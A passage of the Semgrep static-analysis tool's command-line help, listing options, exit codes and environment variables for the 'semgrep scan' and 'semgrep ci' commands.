Registry. NOTE: Using `--config auto` will log in to the Semgrep
Registry with your project URL.
For more information about Semgrep, go to [https://semgrep.dev](https://semgrep.dev).
NOTE: By default, Semgrep will report pseudonymous usage metrics to
its server if you pull your configuration from the Semgrep registry.
To learn more about how and why these metrics are collected, please
see [https://semgrep.dev/docs/metrics](https://semgrep.dev/docs/metrics). To modify this behavior, see the
\--metrics option below.
ARGUMENTS
TARGETS
Files or folders to be scanned by semgrep.
OPTIONS
-a, --autofix
Apply autofix patches. WARNING: data loss can occur with this
flag. Make sure your files are stored in a version control system.
Note that this mode is experimental and not guaranteed to function
properly.
\--allow-local-builds
Experimental: allow building projects contained in the repository.
This allows Semgrep to identify dependencies and dependency
relationships when lockfiles are not present or are insufficient.
However, building code may inherently require the execution of
code contained in the scanned project or in its dependencies,
which is a security risk.
\--allow-untrusted-validators
Allows running rules with validators from origins other than
semgrep.dev. Avoid running rules from origins you don't trust.
\--baseline-commit=VAL (absent SEMGREP\_BASELINE\_COMMIT env)
Only show results that are not found in this commit hash. Aborts
run if not currently in a git directory, there are unstaged
changes, or given baseline hash doesn't exist.
-d, --dump-command-for-core
\
\--dataflow-traces
Explain how non-local values reach the location of a finding (only
affects text and SARIF output).
\--disable-nosem
negates --enable-nosem
\--disable-version-check
negates --enable-version-check
\--dryrun
If --dryrun, does not write autofixes to a file. This will print
the changes to the console. This lets you see the changes before
you commit to them. Only works with the --autofix flag. Otherwise
does nothing.
\--dump-ast
If --dump-ast, shows AST of the input file or passed expression
and then exit (can use --json).
\--dump-engine-path
\
-e VAL, --pattern=VAL
Code search pattern. See
[https://semgrep.dev/docs/writing-rules/pattern-syntax](https://semgrep.dev/docs/writing-rules/pattern-syntax) for
information on pattern features.
\--emacs
Output results in Emacs single-line format.
\--emacs-output=VAL
Write a copy of the emacs output to a file or post to URL.
\--enable-nosem
Enables 'nosem'. Findings will not be reported on lines containing
a 'nosem' comment at the end. Enabled by default.
\--enable-version-check (absent SEMGREP\_ENABLE\_VERSION\_CHECK env)
Checks Semgrep servers to see if the latest version is run;
disabling this may reduce exit time after returning results.
\--error
Exit 1 if there are findings. Useful for CI and scripts.
\--exclude=PATTERN
Skip any file or directory whose path that matches PATTERN.
'--exclude=\*.py' will ignore the following: 'foo.py',
'src/foo.py', 'foo.py/bar.sh'. '--exclude=tests' will ignore
'tests/foo.py' as well as 'a/b/tests/c/foo.py'. Multiple
'--exclude' options may be specified. PATTERN is a glob-style
pattern that uses the same syntax as gitignore and semgrepignore,
which is documented at
[https://git-scm.com/docs/gitignore#\_pattern\_format](https://git-scm.com/docs/gitignore#_pattern_format)
\--exclude-binary-files
Skip binary files. These are files that contain magic bytes at the
start that correspond to their file extension. Enabled by default;
use --no-exclude-binary-files to scan binary files.
\--exclude-minified-files
Skip minified files. These are files that are \< 7% whitespace, or
which have an average of > 1000 bytes per line. By default
minified files are scanned.
\--exclude-rule=VAL
Skip any rule with the given id. Can add multiple times.
-f VAL, -c VAL, --config=VAL (absent SEMGREP\_RULES env)
YAML configuration file, directory of YAML files ending in
.yml|.yaml, URL of a configuration file, or Semgrep registry entry
name. Use --config auto to automatically obtain rules tailored to
this project; your project URL will be used to log in to the
Semgrep registry. To run multiple rule files simultaneously, use
\--config before every YAML, URL, or Semgrep registry entry name.
For example `semgrep --config p/python --config
myrules/myrule.yaml` See
[https://semgrep.dev/docs/writing-rules/rule-syntax](https://semgrep.dev/docs/writing-rules/rule-syntax) for information
on configuration file format.
\--files-with-matches
Output only the names of files containing matches. REQUIRES
\--experimental
\--force-color (absent SEMGREP\_FORCE\_COLOR env)
Always include ANSI color in the output, even if not writing to a
TTY; defaults to using the TTY status
\--gitlab-sast
Output results in GitLab SAST format.
\--gitlab-sast-output=VAL
Write a copy of the GitLab SAST output to a file or post to URL.
\--gitlab-secrets
Output results in GitLab Secrets format.
\--gitlab-secrets-output=VAL
Write a copy of the GitLab Secrets output to a file or post to
URL.
\--historical-secrets
Scans git history using Secrets rules.
\--include=PATTERN
Specify files or directories that should be scanned by semgrep,
excluding other files. This filter is applied after these other
filters: '--exclude' options, any filtering done by git (or other
SCM), and filtering by '.semgrepignore' files. Multiple
'--include' options can be specified. A file path is selected if
it matches at least one of the include patterns. PATTERN is a
glob-style pattern such as 'foo.*' that must match the path. For
example, specifying the language with '-l javascript' might
preselect files 'src/foo.jsx' and 'lib/bar.js'. Specifying one of
'--include=src', '--include=*.jsx', or '--include=src/foo.*' will
restrict the selection to the single file 'src/foo.jsx'. A choice
of multiple '--include' patterns can be specified. For example,
'--include=foo.* --include=bar.\*' will select both 'src/foo.jsx'
and 'lib/bar.js'. Glob-style patterns follow the syntax supported
by gitignore and semgrepignore, which is documented at
[https://git-scm.com/docs/gitignore#\_pattern\_format](https://git-scm.com/docs/gitignore#_pattern_format)
\--incremental-output
Output results incrementally. REQUIRES --experimental
\--interfile-timeout=INT (absent=0)
Maximum time to spend on interfile analysis. If set to 0 will not
have time limit. Defaults to 0 s for all CLI scans. For CI scans,
it defaults to 3 hours.
-j VALUE, --jobs=VALUE (absent=3)
Degree of parallelism to use for parallel scanning, either using
shared-memory threads (the default) or the legacy process-based
parallelism (enabled with the deprecated --x-parmap flag). Semgrep
recommends under-provisioning the job count by 10-15 percent to
account for overhead from the garbage collector managing the
shared heap (for example, on a 12-core box, a -j value of 10 or 11
would be considered a good starting value). We highly recommend
that users do not *oversubscribe* threads to CPUs, since this has
been seen to induce significant GC latency and slow scan times.
(Doing so will log a warning in debug mode.) The default jobs
value is derived from the number of logical cores that are
detected by Semgrep, scaled by 0.85.
\--json
Output results in Semgrep's JSON format.
\--json-output=VAL
Write a copy of the json output to a file or post to URL.
\--junit-xml
Output results in JUnit XML format.
\--junit-xml-output=VAL
Write a copy of the JUnit XML output to a file or post to URL.
-l VAL, --lang=VAL
Parse pattern and all files in specified language. Must be used
with -e/--pattern.
\--matching-explanations
Add debugging information in the JSON output to trace how
different parts of a rule are matched (a.k.a., "Inspect Rule" in
the Semgrep playground)
\--max-chars-per-line=INT (absent=160)
Maximum number of characters to show per line.
\--max-lines-per-finding=INT (absent=10)
Maximum number of lines of code that will be shown for each match
before trimming (set to 0 for unlimited).
\--max-log-list-entries=INT (absent=100)
Maximum number of entries that will be shown in the log (e.g.,
list of rule ids, list of skipped files). A zero or negative value
disables this filter. Defaults to 100
\--max-match-context-size=INT (absent=0)
Maximum number of characters of source code to include as context
surrounding the match in output. Prevents enormous output for
minified files. 0 means unlimited. Defaults to 0
\--max-memory=INT (absent=0)
Maximum system memory in MiB to use during the interfile
pre-processing phase, or when running a rule on a single file. If
set to 0, will not have memory limit. Defaults to 0. For CI scans
that use the Pro Engine, defaults to either 90 percent of the
container's available memory; or 8 GiB if querying the available
system memory is not feasible.
\--max-target-bytes=VALUE (absent=1000000)
Maximum size for a file to be scanned by Semgrep, e.g '1.5MB'. Any
input program larger than this will be ignored. A zero or negative
value disables this filter. Defaults to 1000000 bytes
\--metrics=ENUM (absent=auto or SEMGREP\_SEND\_METRICS env)
Configures how usage metrics are sent to the Semgrep server. If
'auto', metrics are sent whenever the --config value pulls from
the Semgrep server or if the user is logged in. If 'on', metrics
are always sent. If 'off', metrics are disabled altogether and not
sent. If absent, the SEMGREP\_SEND\_METRICS environment variable
value will be used. If no environment variable, defaults to
'auto'.
\--no-autofix
negates -a/--autofix
\--no-dryrun
negates --dryrun
\--no-error
negates --error
\--no-exclude-binary-files
negates --exclude-binary-files
\--no-exclude-minified-files
negates --exclude-minified-files
\--no-force-color
negates --force-color
\--no-git-ignore
negates --use-git-ignore
\--no-rewrite-rule-ids
negates --rewrite-rule-ids
\--no-secrets-validation
Disables secret validation.
\--no-strict
negates --strict
\--no-test-ignore-todo
negates --test-ignore-todo
\--no-time
negates --time
\--novcs
Assume the project is not managed by a version control system
(VCS), even if the project appears to be under version control
based on the presence of files such as '.git' or similar. REQUIRES
\--experimental or --semgrepignore-v2.
-o VAL, --output=VAL
Save search results to a file or post to URL. Default is to print
to stdout.
\--optimizations=VALUE (absent=all)
Turn on/off optimizations. Default = 'all'. Use 'none' to turn all
optimizations off.
\--oss-only
Run using only the OSS engine, even if the Semgrep Pro toggle is
on. This may still run Pro rules, but only using the OSS features.
\--pro
Inter-file analysis and Pro languages (currently Apex, C#, and
Elixir. Requires Semgrep Pro Engine. See
[https://semgrep.dev/products/pro-engine/](https://semgrep.dev/products/pro-engine/) for more.
\--pro-intrafile
Intra-file inter-procedural taint analysis. Implies
\--pro-languages. Requires Semgrep Pro Engine. See
[https://semgrep.dev/products/pro-engine/](https://semgrep.dev/products/pro-engine/) for more.
\--pro-languages
Enable Pro languages (currently Apex, C#, and Elixir). Requires
Semgrep Pro Engine. See [https://semgrep.dev/products/pro-engine/](https://semgrep.dev/products/pro-engine/)
for more.
\--pro-path-sensitive
Path sensitivity. Implies --pro-intrafile. Requires Semgrep Pro
Engine. See [https://semgrep.dev/products/pro-engine/](https://semgrep.dev/products/pro-engine/) for more.
\--project-root=VAL
Semgrep normally determines the type of project (git or novcs) and
the project root automatically. The project root is then used to
locate and use '.gitignore' and '.semgrepignore' files which
determine target files that should be ignored by semgrep. This
option forces the project root to be a specific folder and assumes
a local project without version control (novcs). This option is
useful to ensure the '.semgrepignore' file that may exist at the
project root is consulted when the scanning root is not the
current folder '.'. A valid project root must be a folder (path
referencing a directory) whose physical path is a prefix of the
physical path of the scanning roots passed on the command line.
For example, the command 'semgrep scan --project-root . src' is
valid if '.' is '/home/me' and 'src' is a directory or a symbolic
link to a '/home/me/sources' directory or a symbolic link to a
'sources' directory but not if it is a symbolic link to a
directory '/var/sources' (assuming '/var' is not a symbolic link).
REQUIRES --experimental or --semgrepignore-v2.
\--remote=VAL
Remote will quickly check out and scan a remote git repository of
the format "http\[s]://\/.../\.git". Must be run with
\--pro. Incompatible with --project-root. Note this requires an
empty CWD as this command will clone the repository into the CWD.
REQUIRES --experimental
\--replacement=VAL
An autofix expression that will be applied to any matches found
with --pattern. Only valid with a command-line specified pattern.
\--rewrite-rule-ids
Rewrite rule ids when they appear in nested sub-directories (Rule
'foo' in test/rules.yaml will be renamed 'test.foo').
\--sarif
Output results in SARIF format.
\--sarif-output=VAL
Write a copy of the SARIF output to a file or post to URL.
\--scan-unknown-extensions
If true, target files specified directly on the command line will
bypass normal language detection. They will be analyzed according
to the value of --lang if applicable, or otherwise with the
analyzers/languages specified in the Semgrep rule(s) regardless of
file extension or file type. This setting doesn't apply to target
files discovered by scanning folders. Defaults to false.
\--secrets
Run Semgrep Secrets product, including support for secret
validation. Requires access to Secrets, contact
[support@semgrep.com](mailto:support@semgrep.com) for more information.
\--secrets-timeout=INT (absent=30)
Timeout in seconds for each secrets validation HTTP request. If
set to 0, no timeout is applied. Defaults to 30.
\--semgrepignore-v2
\[DEPRECATED] '--semgrepignore-v2' used to force the use of the
newer Semgrepignore v2 implementation for discovering and
filtering target files. It is now the default and only behavior.
The transitional option '--no-semgrepignore-v2' is no longer
available.
\--severity=ENUM
Report findings only from rules matching the supplied severity
level. By default all applicable rules are run. Can add multiple
times. Each should be one of INFO, WARNING, or ERROR.
\--show-supported-languages
Print a list of languages that are currently supported by Semgrep.
\--skip-unknown-extensions
negates --scan-unknown-extensions
\--strict
Return a nonzero exit code when WARN level errors are encountered.
Fails early if invalid configuration files are present. Defaults
to --no-strict.
\--test
Run test suite.
\--test-ignore-todo
If --test-ignore-todo, ignores rules marked as '#todoruleid:' in
test files.
\--text
Output results in text format.
\--text-output=VAL
Write a copy of the text output to a file or post to URL.
\--time
Include a timing summary with the results. If output format is
json, provides times for each pair (rule, target). This feature is
meant for internal use and may be changed or removed without
warning. At the current moment, --trace is better supported.
\--timeout=DOUBLE (absent=5.)
Maximum time to spend running a rule on a single file in seconds.
If set to 0 will not have time limit. Defaults to 5.0 s.
\--timeout-threshold=INT (absent=3)
Maximum number of rules that can time out on a file before the
file is skipped. If set to 0 will not have limit. Defaults to 3.
\--use-git-ignore
'--use-git-ignore' is Semgrep's default behavior. Under the
default behavior, Git-tracked files are not excluded by Gitignore
rules and only untracked files are excluded by Gitignore rules.
'--no-git-ignore' causes semgrep to not call 'git' and not consult
'.gitignore' files to determine which files semgrep should scan.
As a result of '--no-git-ignore', gitignored files and Git
submodules will be scanned unless excluded by other means
('.semgrepignore', '--exclude', etc.). This flag has no effect if
the scanning root is not in a Git repository.
\--validate
Validate configuration file(s). This will check YAML files for
errors and run 'p/semgrep-rule-lints' on the YAML files. No search
is performed.
\--version
Show the version and exit.
\--vim
Output results in vim single-line format.
\--vim-output=VAL
Write a copy of the vim output to a file or post to URL.
\--x-mem-policy=VAL
\[INTERNAL] Heap and GC tuning policy. Only affects the Pro Engine.
COMMON OPTIONS
\--debug
All of --verbose, but with additional debugging information.
\--develop
Living on the edge.
\--experimental
Enable experimental features.
\--help\[=FMT] (default=auto)
Show this help in format FMT. The value FMT must be one of auto,
pager, groff or plain. With auto, the format is pager or plain
whenever the TERM env var is dumb or undefined.
\--legacy
Prefer old (legacy) behavior.
\--no-trace
negates --trace
\--profile
Record profiles via Pyro Caml. By default sends them to
localhost:4040
-q, --quiet
Only output findings.
\--trace
Record traces from Semgrep scans to help debugging. This feature
is meant for internal use and may be changed or removed without
warning.
\--trace-endpoint=VAL
Endpoint to send OpenTelemetry traces to, if `--trace` is present.
The value may be `semgrep-prod` (default), `semgrep-dev`,
`semgrep-local`, or any valid URL. This feature is meant for
internal use and may be changed or removed without warning.
-v, --verbose
Show more details about what rules are running, which files failed
to parse, etc.
EXPERIMENTAL OPTIONS
Any option starting with '--x-' is experimental and may be removed
from semgrep without notice.
\--no-x-run-taint-once
\[INTERNAL] Disable running taint analysis just once
\--x-dependency-paths
(experimental) Include the full dependency path(s) for transitive
supply-chain findings in --json and --sarif output.
\--x-disable-transitive-reachability
\[INTERNAL] Disable transitive reachability analysis regardless of
app-based configuration.
\--x-dump-symbol-analysis
\[INTERNAL] Dump symbol analysis results in JSON format, ATD type
'symbol\_analysis'.
\--x-eio
\[INTERNAL] \
\--x-group-taint-rules
\[INTERNAL] Do not use
\--x-ignore-semgrepignore-files
\[INTERNAL] Ignore all '.semgrepignore' files found in the project
tree for the purpose of selecting target files to be scanned by
semgrep. Other filters may still apply. THIS OPTION IS NOT PART OF
THE SEMGREP API AND MAY CHANGE OR DISAPPEAR WITHOUT NOTICE.
\--x-ls
\[INTERNAL] List the selected target files before any rule-specific
or language-specific filtering. Then exit. The default output
format is one path per line. THIS OPTION IS NOT PART OF THE
SEMGREP API AND MAY CHANGE OR DISAPPEAR WITHOUT NOTICE.
\--x-ls-long
\[INTERNAL] Show selected targets and skipped targets with reasons
why they were skipped, using an unspecified output format. Implies
\--x-ls. THIS OPTION IS NOT PART OF THE SEMGREP API AND MAY CHANGE
OR DISAPPEAR WITHOUT NOTICE.
\--x-mcp
\[INTERNAL] This flag indicates that the scan is run by the MCP
server. It is used to output extra info (e.g. rules, num bytes
scanned) at the end of the scan for the MCP server to use and
makes sure that metrics are not sent so that the MCP server can
send its own metrics.
\--x-no-python-schema-validation
\[DEPRECATED] No-op alias kept for backward compatibility. Use
\--x-rule-validation=core-only instead.
\--x-parmap
\[INTERNAL] Rely on legacy Parmap-based parallelism
\--x-pro-naming
\[INTERNAL] Do not use
\--x-rule-validation=VAL (absent=full)
\[INTERNAL] Control rule pre-validation. 'full' (default) runs
Python jsonschema + semgrep-core RPC validation. 'core-only' runs
only the RPC validation. 'none' skips both; rule errors surface
from the scan subprocess instead.
\--x-run-taint-once
\[INTERNAL] Run taint analysis just once (default: true)
\--x-semgrepignore-filename=FILENAME
\[INTERNAL] Files named FILENAME shall be consulted instead of the
files named '.semgrepignore'. This option can be useful for
testing semgrep on intentionally broken code that should normally
be ignored.
\--x-simple-profiling
Upon exit, print on stderr a report showing how long certain
operations took, in an unspecified text format.
\--x-tr, --x-enable-transitive-reachability
\[INTERNAL] Enable transitive reachability analysis regardless of
app-based configuration. Typically used with
'--allow-local-builds'.
EXIT STATUS
semgrep scan exits with:
0 OK
1 some findings
2 fatal error
3 invalid target code
4 invalid pattern
5 unparseable YAML
7 missing configuration
8 invalid language
13 invalid API key
99 not implemented in osemgrep
ENVIRONMENT
These environment variables affect the execution of semgrep scan:
SEMGREP\_BASELINE\_COMMIT
See option --baseline-commit.
SEMGREP\_ENABLE\_VERSION\_CHECK
See option --enable-version-check.
SEMGREP\_FORCE\_COLOR
See option --force-color.
SEMGREP\_RULES
See option --config.
SEMGREP\_SEND\_METRICS
See option --metrics.
AUTHORS
Semgrep Inc. \<[support@semgrep.com](mailto:support@semgrep.com)>
BUGS
If you encounter an issue, please report it at
[https://github.com/semgrep/semgrep/issues](https://github.com/semgrep/semgrep/issues)
```
```
NAME
semgrep ci - the recommended way to run semgrep in CI
SYNOPSIS
semgrep ci \[OPTION]β¦
DESCRIPTION
In pull\_request/merge\_request (PR/MR) contexts, `semgrep ci` will only
report findings that were introduced by the PR/MR.
When logged in, `semgrep ci` runs rules configured on Semgrep App and
sends findings to your findings dashboard.
Only displays findings that were marked as blocking.
OPTIONS
-a, --autofix
Currently ignored.
\--allow-local-builds
Experimental: allow building projects contained in the repository.
This allows Semgrep to identify dependencies and dependency
relationships when lockfiles are not present or are insufficient.
However, building code may inherently require the execution of
code contained in the scanned project or in its dependencies,
which is a security risk.
\--allow-untrusted-validators
Allows running rules with validators from origins other than
semgrep.dev. Avoid running rules from origins you don't trust.
\--audit-on=VAL (absent SEMGREP\_AUDIT\_ON env)
\--baseline-commit=VAL (absent SEMGREP\_BASELINE\_COMMIT env)
Only show results that are not found in this commit hash. Aborts
run if not currently in a git directory, there are unstaged
changes, or given baseline hash doesn't exist.
\--code
Run Semgrep Code (SAST) product.
-d, --dump-command-for-core
\
\--dataflow-traces
Explain how non-local values reach the location of a finding (only
affects text and SARIF output).
\--disable-nosem
negates --enable-nosem
\--disable-version-check
negates --enable-version-check
\--dry-run
When set, will not start a scan on semgrep.dev and will not report
findings. Instead will print out json objects it would have sent.
\--dryrun
Currently ignored.
\--emacs
Output results in Emacs single-line format.
\--emacs-output=VAL
Write a copy of the emacs output to a file or post to URL.
\--enable-nosem
Enables 'nosem'. Findings will not be reported on lines containing
a 'nosem' comment at the end. Enabled by default.
\--enable-version-check (absent SEMGREP\_ENABLE\_VERSION\_CHECK env)
Checks Semgrep servers to see if the latest version is run;
disabling this may reduce exit time after returning results.
\--exclude=PATTERN
Skip any file or directory whose path that matches PATTERN.
'--exclude=\*.py' will ignore the following: 'foo.py',
'src/foo.py', 'foo.py/bar.sh'. '--exclude=tests' will ignore
'tests/foo.py' as well as 'a/b/tests/c/foo.py'. Multiple
'--exclude' options may be specified. PATTERN is a glob-style
pattern that uses the same syntax as gitignore and semgrepignore,
which is documented at
[https://git-scm.com/docs/gitignore#\_pattern\_format](https://git-scm.com/docs/gitignore#_pattern_format)
\--exclude-binary-files
Skip binary files. These are files that contain magic bytes at the
start that correspond to their file extension. Enabled by default;
use --no-exclude-binary-files to scan binary files.
\--exclude-minified-files
Skip minified files. These are files that are \< 7% whitespace, or
which have an average of > 1000 bytes per line. By default
minified files are scanned.
\--exclude-rule=VAL
Skip any rule with the given id. Can add multiple times.
-f VAL, -c VAL, --config=VAL
Not supported in 'ci' mode
\--fake-backend=VAL
Internal flag.
\--files-with-matches
Output only the names of files containing matches. REQUIRES
\--experimental
\--force-color (absent SEMGREP\_FORCE\_COLOR env)
Always include ANSI color in the output, even if not writing to a
TTY; defaults to using the TTY status
\--gitlab-sast
Output results in GitLab SAST format.
\--gitlab-sast-output=VAL
Write a copy of the GitLab SAST output to a file or post to URL.
\--gitlab-secrets
Output results in GitLab Secrets format.
\--gitlab-secrets-output=VAL
Write a copy of the GitLab Secrets output to a file or post to
URL.
\--historical-secrets
Scans git history using Secrets rules.
\--include=PATTERN
Specify files or directories that should be scanned by semgrep,
excluding other files. This filter is applied after these other
filters: '--exclude' options, any filtering done by git (or other
SCM), and filtering by '.semgrepignore' files. Multiple
'--include' options can be specified. A file path is selected if
it matches at least one of the include patterns. PATTERN is a
glob-style pattern such as 'foo.*' that must match the path. For
example, specifying the language with '-l javascript' might
preselect files 'src/foo.jsx' and 'lib/bar.js'. Specifying one of
'--include=src', '--include=*.jsx', or '--include=src/foo.*' will
restrict the selection to the single file 'src/foo.jsx'. A choice
of multiple '--include' patterns can be specified. For example,
'--include=foo.* --include=bar.\*' will select both 'src/foo.jsx'
and 'lib/bar.js'. Glob-style patterns follow the syntax supported
by gitignore and semgrepignore, which is documented at
[https://git-scm.com/docs/gitignore#\_pattern\_format](https://git-scm.com/docs/gitignore#_pattern_format)
\--incremental-output
Output results incrementally. REQUIRES --experimental
\--interfile-timeout=INT (absent=0)
Maximum time to spend on interfile analysis. If set to 0 will not
have time limit. Defaults to 0 s for all CLI scans. For CI scans,
it defaults to 3 hours.
\--internal-ci-scan-results
Internal flag.
-j VALUE, --jobs=VALUE (absent=3)
Degree of parallelism to use for parallel scanning, either using
shared-memory threads (the default) or the legacy process-based
parallelism (enabled with the deprecated --x-parmap flag). Semgrep
recommends under-provisioning the job count by 10-15 percent to
account for overhead from the garbage collector managing the
shared heap (for example, on a 12-core box, a -j value of 10 or 11
would be considered a good starting value). We highly recommend
that users do not *oversubscribe* threads to CPUs, since this has
been seen to induce significant GC latency and slow scan times.
(Doing so will log a warning in debug mode.) The default jobs
value is derived from the number of logical cores that are
detected by Semgrep, scaled by 0.85.
\--json
Output results in Semgrep's JSON format.
\--json-output=VAL
Write a copy of the json output to a file or post to URL.
\--junit-xml
Output results in JUnit XML format.
\--junit-xml-output=VAL
Write a copy of the JUnit XML output to a file or post to URL.
\--log-backend=VAL
Internal flag.
\--matching-explanations
Add debugging information in the JSON output to trace how
different parts of a rule are matched (a.k.a., "Inspect Rule" in
the Semgrep playground)
\--max-chars-per-line=INT (absent=160)
Maximum number of characters to show per line.
\--max-lines-per-finding=INT (absent=10)
Maximum number of lines of code that will be shown for each match
before trimming (set to 0 for unlimited).
\--max-log-list-entries=INT (absent=100)
Maximum number of entries that will be shown in the log (e.g.,
list of rule ids, list of skipped files). A zero or negative value
disables this filter. Defaults to 100
\--max-match-context-size=INT (absent=0)
Maximum number of characters of source code to include as context
surrounding the match in output. Prevents enormous output for
minified files. 0 means unlimited. Defaults to 0
\--max-memory=INT (absent=0)
Maximum system memory in MiB to use during the interfile
pre-processing phase, or when running a rule on a single file. If
set to 0, will not have memory limit. Defaults to 0. For CI scans
that use the Pro Engine, defaults to either 90 percent of the
container's available memory; or 8 GiB if querying the available
system memory is not feasible.
\--max-target-bytes=VALUE (absent=1000000)
Maximum size for a file to be scanned by Semgrep, e.g '1.5MB'. Any
input program larger than this will be ignored. A zero or negative
value disables this filter. Defaults to 1000000 bytes
\--metrics=ENUM (absent=auto or SEMGREP\_SEND\_METRICS env)
Configures how usage metrics are sent to the Semgrep server. If
'auto', metrics are sent whenever the --config value pulls from
the Semgrep server or if the user is logged in. If 'on', metrics
are always sent. If 'off', metrics are disabled altogether and not
sent. If absent, the SEMGREP\_SEND\_METRICS environment variable
value will be used. If no environment variable, defaults to
'auto'.
\--no-autofix
negates -a/--autofix
\--no-dryrun
negates --dryrun
\--no-exclude-binary-files
negates --exclude-binary-files
\--no-exclude-minified-files
negates --exclude-minified-files
\--no-force-color
negates --force-color
\--no-git-ignore
negates --use-git-ignore
\--no-rewrite-rule-ids
negates --rewrite-rule-ids
\--no-secrets-validation
Disables secret validation.
\--no-suppress-errors
negates --suppress-errors
-o VAL, --output=VAL
Save search results to a file or post to URL. Default is to print
to stdout.
\--optimizations=VALUE (absent=all)
Turn on/off optimizations. Default = 'all'. Use 'none' to turn all
optimizations off.
\--oss-only
Run using only the OSS engine, even if the Semgrep Pro toggle is
on. This may still run Pro rules, but only using the OSS features.
\--pro
Inter-file analysis and Pro languages (currently Apex, C#, and
Elixir. Requires Semgrep Pro Engine. See
[https://semgrep.dev/products/pro-engine/](https://semgrep.dev/products/pro-engine/) for more.
\--pro-intrafile
Intra-file inter-procedural taint analysis. Implies
\--pro-languages. Requires Semgrep Pro Engine. See
[https://semgrep.dev/products/pro-engine/](https://semgrep.dev/products/pro-engine/) for more.
\--pro-languages
Enable Pro languages (currently Apex, C#, and Elixir). Requires
Semgrep Pro Engine. See [https://semgrep.dev/products/pro-engine/](https://semgrep.dev/products/pro-engine/)
for more.
\--pro-path-sensitive
Path sensitivity. Implies --pro-intrafile. Requires Semgrep Pro
Engine. See [https://semgrep.dev/products/pro-engine/](https://semgrep.dev/products/pro-engine/) for more.
\--rewrite-rule-ids
Rewrite rule ids when they appear in nested sub-directories (Rule
'foo' in test/rules.yaml will be renamed 'test.foo').
\--sarif
Output results in SARIF format.
\--sarif-output=VAL
Write a copy of the SARIF output to a file or post to URL.
\--scan-unknown-extensions
If true, target files specified directly on the command line will
bypass normal language detection. They will be analyzed according
to the value of --lang if applicable, or otherwise with the
analyzers/languages specified in the Semgrep rule(s) regardless of
file extension or file type. This setting doesn't apply to target
files discovered by scanning folders. Defaults to false.
\--secrets
Run Semgrep Secrets product, including support for secret
validation. Requires access to Secrets, contact
[support@semgrep.com](mailto:support@semgrep.com) for more information.
\--secrets-timeout=INT (absent=30)
Timeout in seconds for each secrets validation HTTP request. If
set to 0, no timeout is applied. Defaults to 30.
\--semgrepignore-v2
\[DEPRECATED] '--semgrepignore-v2' used to force the use of the
newer Semgrepignore v2 implementation for discovering and
filtering target files. It is now the default and only behavior.
The transitional option '--no-semgrepignore-v2' is no longer
available.
\--skip-unknown-extensions
negates --scan-unknown-extensions
\--subdir=VAL
Scan only a subdirectory of this folder. This creates a project
specific to the subdirectory unless SEMGREP\_REPO\_DISPLAY\_NAME is
set. Expects a relative path. (Note that when two scans have the
same SEMGREP\_REPO\_DISPLAY\_NAME but different targeted directories,
the results of the second scan overwrite the first.)
\--supply-chain
Run Semgrep Supply Chain product.
\--suppress-errors (absent SEMGREP\_SUPPRESS\_ERRORS env)
Configures how the CI command reacts when an error occurs. If
true, encountered errors are suppressed and the exit code is zero
(success). If false, encountered errors are not suppressed and the
exit code is non-zero (failure).
\--text
Output results in text format.
\--text-output=VAL
Write a copy of the text output to a file or post to URL.
\--timeout=DOUBLE (absent=5.)
Maximum time to spend running a rule on a single file in seconds.
If set to 0 will not have time limit. Defaults to 5.0 s.
\--timeout-threshold=INT (absent=3)
Maximum number of rules that can time out on a file before the
file is skipped. If set to 0 will not have limit. Defaults to 3.
\--use-git-ignore
'--use-git-ignore' is Semgrep's default behavior. Under the
default behavior, Git-tracked files are not excluded by Gitignore
rules and only untracked files are excluded by Gitignore rules.
'--no-git-ignore' causes semgrep to not call 'git' and not consult
'.gitignore' files to determine which files semgrep should scan.
As a result of '--no-git-ignore', gitignored files and Git
submodules will be scanned unless excluded by other means
('.semgrepignore', '--exclude', etc.). This flag has no effect if
the scanning root is not in a Git repository.
\--vim
Output results in vim single-line format.
\--vim-output=VAL
Write a copy of the vim output to a file or post to URL.
\--x-enable-mal-deps
Enable malicious dependency rules for this scan.
\--x-mem-policy=VAL
\[INTERNAL] Heap and GC tuning policy. Only affects the Pro Engine.
COMMON OPTIONS
\--debug
All of --verbose, but with additional debugging information.
\--develop
Living on the edge.
\--experimental
Enable experimental features.
\--help\[=FMT] (default=auto)
Show this help in format FMT. The value FMT must be one of auto,
pager, groff or plain. With auto, the format is pager or plain
whenever the TERM env var is dumb or undefined.
\--legacy
Prefer old (legacy) behavior.
\--no-trace
negates --trace
\--profile
Record profiles via Pyro Caml. By default sends them to
localhost:4040
-q, --quiet
Only output findings.
\--trace
Record traces from Semgrep scans to help debugging. This feature
is meant for internal use and may be changed or removed without
warning.
\--trace-endpoint=VAL
Endpoint to send OpenTelemetry traces to, if `--trace` is present.
The value may be `semgrep-prod` (default), `semgrep-dev`,
`semgrep-local`, or any valid URL. This feature is meant for
internal use and may be changed or removed without warning.
-v, --verbose
Show more details about what rules are running, which files failed
to parse, etc.
EXPERIMENTAL OPTIONS
Any option starting with '--x-' is experimental and may be removed
from semgrep without notice.
\--no-x-run-taint-once
\[INTERNAL] Disable running taint analysis just once
\--x-computed-dependencies-dir=VAL
Internal flag.
\--x-dependency-paths
(experimental) Include the full dependency path(s) for transitive
supply-chain findings in --json and --sarif output.
\--x-disable-transitive-reachability
\[INTERNAL] Disable transitive reachability analysis regardless of
app-based configuration.
\--x-dump-rule-partitions=INT (absent=0)
Internal flag.
\--x-dump-rule-partitions-dir=VAL
Internal flag.
\--x-dump-rule-partitions-strategy=VAL
Internal flag.
\--x-dump-scan-config-path=VAL
Internal flag.
\--x-dump-subprojects-and-exit=VAL
Internal flag.
\--x-eio
\[INTERNAL] \
\--x-ignore-semgrepignore-files
\[INTERNAL] Ignore all '.semgrepignore' files found in the project
tree for the purpose of selecting target files to be scanned by
semgrep. Other filters may still apply. THIS OPTION IS NOT PART OF
THE SEMGREP API AND MAY CHANGE OR DISAPPEAR WITHOUT NOTICE.
\--x-mcp
\[INTERNAL] This flag indicates that the scan is run by the MCP
server. It is used to output extra info (e.g. rules, num bytes
scanned) at the end of the scan for the MCP server to use and
makes sure that metrics are not sent so that the MCP server can
send its own metrics.
\--x-merge-partial-results-dir=DIR
Internal flag.
\--x-merge-partial-results-output=VAL
Internal flag.
\--x-no-python-schema-validation
\[DEPRECATED] No-op alias kept for backward compatibility. Use
\--x-rule-validation=core-only instead.
\--x-parmap
\[INTERNAL] Rely on legacy Parmap-based parallelism
\--x-partial-config=VAL
Internal flag.
\--x-partial-output=VAL
Internal flag.
\--x-partial-scan-rule-id=VAL
Internal flag.
\--x-pro-naming
\[INTERNAL] Do not use
\--x-rule-validation=VAL (absent=full)
\[INTERNAL] Control rule pre-validation. 'full' (default) runs
